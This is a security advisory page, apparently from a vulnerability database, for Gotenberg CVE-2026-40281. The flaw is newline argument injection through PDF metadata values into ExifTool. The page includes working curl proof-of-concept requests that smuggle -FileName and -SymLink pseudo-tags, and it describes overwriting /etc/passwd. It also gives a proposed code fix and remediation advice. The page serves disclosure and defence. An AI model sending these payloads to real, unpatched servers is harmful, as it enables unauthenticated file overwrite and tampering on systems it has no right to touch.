Gotenberg CVE-2026-40281
CRITICALSeverity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H
Lifecycle Timeline
4DescriptionGitHub Advisory
Vulnerability Details
CWE: CWE-20 - Improper Input Validation
The metadata value sanitization introduced in v8.30.1 (commit 405f106) only validates metadata KEYS via safeKeyPattern regex. Metadata VALUES are passed unsanitized to go-exiftool SetString(), which writes them as fmt.Fprintln(e.stdin, "-"+k+"="+str). A newline (\n) in a value splits the ExifTool stdin line into two separate arguments, allowing injection of arbitrary ExifTool pseudo-tags such as -FileName, -Directory, -SymLink, -HardLink. Docker-verified: HTTP 404 returned (file moved), /tmp/inject_proof created in container. This is a bypass of the incomplete fix in v8.30.1.
Summary
The metadata write endpoint in v8.30.1 validates metadata keys for control characters (commit 405f106) but leaves metadata values unsanitized. go-exiftool's WriteMetadata sends each key/value pair to ExifTool's stdin as:
fmt.Fprintln(e.stdin, "-"+k+"="+str)A \n character in str splits this into two separate stdin lines, injecting an arbitrary ExifTool pseudo-tag argument. The attacker controls what comes after the newline, enabling injection of -FileName, -Directory, -SymLink, -HardLink, and other dangerous pseudo-tags - the exact tags the key blocklist was designed to prevent.
Root Cause
pkg/modules/exiftool/exiftool.go - WriteMetadata() function:
// KEY validation added in v8.30.1 (commit 405f106)
for key := range metadata {
if !safeKeyPattern.MatchString(key) { // ← only keys checked
return fmt.Errorf(...)
}
}
// VALUE passed through unsanitized:
case string:
fileMetadata[0].SetString(key, val) // ← val may contain \ngo-exiftool (barasher/go-exiftool) then writes:
fmt.Fprintln(e.stdin, "-"+k+"="+str)
// If str = "test\n-FileName=/tmp/inject_proof"
// ExifTool receives two lines:
// -Title=test
// -FileName=/tmp/inject_proofSteps to Reproduce
1. Start Gotenberg:
docker run --name gotenberg-test -p 3001:3000 gotenberg/gotenberg:8
2. Create a test PDF:
curl -s -F 'files=@/dev/stdin;filename=index.html;type=text/html' \
-o test.pdf http://localhost:3001/forms/chromium/convert/html \
<<< '<html><body>test</body></html>'
3. Inject -FileName via value newline:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-FileName=/tmp/inject_proof"}' \
http://localhost:3001/forms/pdfengines/metadata/write
# Returns HTTP 404 (file moved away from temp path)
4. Verify injection inside container:
docker exec gotenberg-test ls -la /tmp/inject_proof
# -rw-r--r-- 1 root root ... /tmp/inject_proof (PDF moved here)
5. Symlink injection:
curl -s -w "\nHTTP %{http_code}" \
-F 'files=@test.pdf;type=application/pdf' \
-F 'metadata={"Title":"test\n-SymLink=/tmp/sym_inject"}' \
http://localhost:3001/forms/pdfengines/metadata/write
docker exec gotenberg-test ls -la /tmp/sym_inject
# lrwxrwxrwx ... /tmp/sym_inject -> /tmp/.../source.pdfImpact
An unauthenticated attacker can:
- Rename/move any PDF being processed to an arbitrary path in the container filesystem (running as root by default)
- Overwrite arbitrary files - e.g.,
-Directory=/etc/ -FileName=passwdinjects two lines, moving the PDF to/etc/passwd, corrupting the system user database - Create symlinks at arbitrary paths via
-SymLink=, enabling subsequent read/write primitives - Create hard links via
-HardLink=, persisting data beyond temp directory cleanup
This is a complete bypass of the key-sanitization fix introduced in v8.30.1 (commit 405f106). The fix validated the wrong side of the = sign.
Proposed Fix
Add value sanitization parallel to the existing key check in WriteMetadata:
for key, value := range metadata {
if !safeKeyPattern.MatchString(key) {
return fmt.Errorf("write PDF metadata with ExifTool: invalid metadata key %q", key)
}
if str, ok := value.(string); ok {
if strings.ContainsAny(str, "\n\r\x00") {
return fmt.Errorf("write PDF metadata with ExifTool: invalid value for key %q (contains control character)", key)
}
}
}Or, apply the same safeKeyPattern logic to string values, or percent-encode newlines before passing to go-exiftool.
Vulnerable Code
// See description for detailsSteps to Reproduce
- Set up the application using the default configuration
- See the vulnerability details above
Impact
This vulnerability may allow an attacker to compromise the application.
AnalysisAI
Argument injection in Gotenberg v8.30.1 and earlier allows unauthenticated remote attackers to manipulate filesystem operations by embedding newline characters in PDF metadata values. The vulnerability bypasses an incomplete fix from v8.30.1 that sanitized only metadata keys while leaving values unvalidated, enabling injection of ExifTool pseudo-tags like -FileName, -Directory, -SymLink, and -HardLink through the /forms/pdfengines/metadata/write endpoint. Attackers can move files to arbitrary paths (including overwriting /etc/passwd), create symlinks for read/write primitives, and persist data via hard links - all without authentication against default configurations. Vendor-released patch: version 8.31.0. CVSS 10.0 severity reflects the network attack vector (AV:N), no authentication requirement (PR:N), low complexity (AC:L), and scope change (S:C) enabling container escape scenarios. No public exploit identified at time of analysis, though complete PoC reproduction steps are documented in GitHub advisory GHSA-q7r4-hc83-hf2q.
Technical ContextAI
Gotenberg is a Docker-based API service for converting HTML, Markdown, and Office documents to PDF format using Chromium and LibreOffice backends. The vulnerability resides in the ExifTool metadata write module (pkg/modules/exiftool/exiftool.go), which delegates to the third-party go-exiftool library (barasher/go-exiftool). ExifTool is a Perl-based command-line tool that reads and writes file metadata; go-exiftool communicates with it via stdin using a line-based protocol. The WriteMetadata function constructs command arguments using fmt.Fprintln(e.stdin, "-"+k+"="+str), which interprets newline characters as command delimiters. Version 8.30.1 (commit 405f106) introduced safeKeyPattern regex validation for metadata keys to prevent injection of dangerous pseudo-tags, but failed to sanitize values, creating a classic second-order injection vector. CWE-88 (Improper Neutralization of Argument Delimiters) is the root cause class, manifesting here through the newline delimiter splitting stdin into multiple ExifTool arguments. The vulnerability specifically targets the Go package github.com/gotenberg/gotenberg/v8 per the CPE identifier. Default Docker deployments run the container as root, amplifying the impact of filesystem manipulation operations.
RemediationAI
Upgrade immediately to Gotenberg v8.31.0, which implements comprehensive metadata sanitization that strips control characters and line breaks from all metadata values and blocks System:-prefixed tags to prevent argument smuggling (https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0). The fix validates both keys and values using control character rejection, addressing the incomplete v8.30.1 patch. For environments unable to upgrade immediately: (1) Block external access to the /forms/pdfengines/metadata/write endpoint using reverse proxy rules or firewall policies - this eliminates network attack vector but breaks legitimate metadata write functionality for external clients; (2) Deploy a web application firewall with custom rules rejecting JSON payloads containing \n, \r, or \x00 in metadata field values - note this may cause false positives if legitimate metadata includes encoded newlines; (3) Run Gotenberg containers with read-only root filesystem and dedicated writable volumes for /tmp only using Docker --read-only and --tmpfs flags - this limits file overwrite impact but does not prevent symlink creation or denial-of-service via temp directory filling. Compensating controls trade functionality for security: blocking the endpoint breaks the metadata write feature entirely, WAF rules may interfere with legitimate use cases, and read-only filesystems require careful volume mapping. Organizations using Gotenberg as an internal microservice should audit all network paths that can reach the service, as the PR:N (unauthenticated) vector means any network-adjacent component can exploit this. Verify the v8.31.0 fix by testing with the reproduction curl commands from GHSA-q7r4-hc83-hf2q advisory; payloads with embedded newlines should now return validation errors instead of HTTP 404.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du
Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve
Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-q7r4-hc83-hf2q